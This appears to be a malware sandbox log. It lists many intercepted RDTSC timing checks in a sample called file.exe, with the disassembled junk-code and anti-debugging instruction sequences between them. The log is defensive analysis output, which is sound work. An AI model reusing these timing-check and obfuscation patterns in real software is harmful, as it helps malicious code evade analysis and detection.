Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25972 second address: B2598C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8C154CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2598C second address: B25996 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B05 second address: B25B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B09 second address: B25B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F8AA8B7BB86h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B2B second address: B25B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D6h 0x00000007 jnc 00007F8AA8C154C8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F8AA8C154DFh 0x00000017 jnc 00007F8AA8C154C6h 0x0000001d jmp 00007F8AA8C154D3h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25CA6 second address: B25CAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B260EB second address: B2614F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D5h 0x00000007 jmp 00007F8AA8C154CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F8AA8C154D2h 0x0000001a jg 00007F8AA8C154C6h 0x00000020 push edi 0x00000021 pop edi 0x00000022 jo 00007F8AA8C154C6h 0x00000028 popad 0x00000029 je 00007F8AA8C154D5h 0x0000002f jmp 00007F8AA8C154CDh 0x00000034 push edx 0x00000035 pop edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26409 second address: B26435 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F8AA8B7BBA4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26435 second address: B26441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26441 second address: B26445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26445 second address: B26449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26449 second address: B26472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F8AA8B7BB86h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8B7BB92h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26787 second address: B26795 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8AA8C154CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26795 second address: B2679E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2679E second address: B267A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A77A second address: B1A77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A77E second address: B1A784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26B74 second address: B26B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26B7E second address: B26BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f jmp 00007F8AA8C154D0h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26BA1 second address: B26BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26BA6 second address: B26BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27360 second address: B27365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27365 second address: B2736B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2736B second address: B27375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF623B second address: AF625B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F8AA8C154C6h 0x0000000c jmp 00007F8AA8C154D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF625B second address: AF6283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8AA8B7BB94h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jp 00007F8AA8B7BB86h 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6283 second address: AF628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF628C second address: AF6290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CAC4 second address: B2CAC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF42A second address: AEF435 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF435 second address: AEF43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF43A second address: AEF450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB92h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32444 second address: B32448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32A97 second address: B32AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AAE second address: B32AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AB2 second address: B32AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32C49 second address: B32C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8AA8C154D6h 0x0000000d push edi 0x0000000e jmp 00007F8AA8C154D1h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DB5 second address: B32DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DBB second address: B32DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DC0 second address: B32DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F8AA8B7BB86h 0x00000009 jno 00007F8AA8B7BB86h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 jng 00007F8AA8B7BB86h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F8AA8B7BB86h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3379A second address: B337A4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D11 second address: B33D2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F8AA8B7BB9Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8B7BB8Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33E08 second address: B33E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33E27 second address: B33E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B347F4 second address: B34804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34804 second address: B3480E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3480E second address: B34857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F8AA8C154CEh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F8AA8C154C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D24C3h], esi 0x00000030 xchg eax, ebx 0x00000031 push ebx 0x00000032 pushad 0x00000033 push eax 0x00000034 pop eax 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34D13 second address: B34D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34D19 second address: B34D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F8AA8C154C6h 0x00000011 jo 00007F8AA8C154C6h 0x00000017 popad 0x00000018 js 00007F8AA8C154CCh 0x0000001e ja 00007F8AA8C154C6h 0x00000024 popad 0x00000025 nop 0x00000026 mov edi, dword ptr [ebp+122D3918h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F8AA8C154C8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 sub dword ptr [ebp+122D250Bh], edi 0x0000004e call 00007F8AA8C154CCh 0x00000053 jns 00007F8AA8C154C8h 0x00000059 pop edi 0x0000005a cld 0x0000005b push 00000000h 0x0000005d mov esi, dword ptr [ebp+122D3944h] 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 push esi 0x00000068 pop esi 0x00000069 push edi 0x0000006a pop edi 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35615 second address: B35619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35619 second address: B3561F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3561F second address: B3567B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8AA8B7BB93h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+12467E35h], edx 0x00000014 push 00000000h 0x00000016 mov esi, dword ptr [ebp+122D3978h] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F8AA8B7BB88h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 jp 00007F8AA8B7BB8Eh 0x0000003e push eax 0x0000003f mov dword ptr [ebp+122D2978h], edx 0x00000045 pop edi 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B370C3 second address: B370C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37B57 second address: B37BD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8B7BB96h 0x0000000e popad 0x0000000f nop 0x00000010 mov esi, dword ptr [ebp+122D3AC8h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D2888h] 0x0000001e push 00000000h 0x00000020 call 00007F8AA8B7BB90h 0x00000025 sub dword ptr [ebp+122D290Bh], edi 0x0000002b pop edi 0x0000002c push eax 0x0000002d pushad 0x0000002e jmp 00007F8AA8B7BB99h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F8AA8B7BB92h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B386D4 second address: B386E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8AA8C154C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3921D second address: B39224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39C0B second address: B39C11 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C949 second address: B3C94F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C94F second address: B3C965 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AA8C154CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A4F4 second address: B3A50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F8AA8B7BB8Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C965 second address: B3C970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8AA8C154C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C970 second address: B3C975 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CEB5 second address: B3CEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF83 second address: B3DF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF8D second address: B3DF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF91 second address: B3DFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F8AA8B7BBA3h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 xor dword ptr [ebp+122D2588h], esi 0x00000018 adc edi, 787F7445h 0x0000001e push 00000000h 0x00000020 pushad 0x00000021 jns 00007F8AA8B7BB8Ch 0x00000027 mov si, E620h 0x0000002b popad 0x0000002c mov edi, dword ptr [ebp+1245245Ah] 0x00000032 xchg eax, esi 0x00000033 push ecx 0x00000034 jng 00007F8AA8B7BB8Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E229 second address: B3E22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42205 second address: B42209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42209 second address: B42221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42221 second address: B42228 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED90F second address: AED91C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8AA8C154C6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED91C second address: AED93E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jbe 00007F8AA8B7BB92h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED93E second address: AED977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8C154C6h 0x0000000a pushad 0x0000000b jmp 00007F8AA8C154D3h 0x00000010 jmp 00007F8AA8C154D9h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4384A second address: B4384E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429CB second address: B429D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4384E second address: B43852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429D0 second address: B429E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F8AA8C154E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B447D0 second address: B447D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A56 second address: B43A60 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B447D4 second address: B447E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F8AA8B7BB86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A60 second address: B43A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8C154D7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A7C second address: B43A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A88 second address: B43AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D25DCh], edi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F8AA8C154C8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e jl 00007F8AA8C154D0h 0x00000034 pushad 0x00000035 push esi 0x00000036 pop esi 0x00000037 mov ebx, dword ptr [ebp+122D3C7Ch] 0x0000003d popad 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov edi, 350734D7h 0x0000004a mov eax, dword ptr [ebp+122D0181h] 0x00000050 jnp 00007F8AA8C154C6h 0x00000056 push FFFFFFFFh 0x00000058 push esi 0x00000059 mov edi, 79D9F4B3h 0x0000005e pop edi 0x0000005f or dword ptr [ebp+12480A27h], ebx 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43AF9 second address: B43AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B457D4 second address: B457D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43AFF second address: B43B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43B05 second address: B43B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
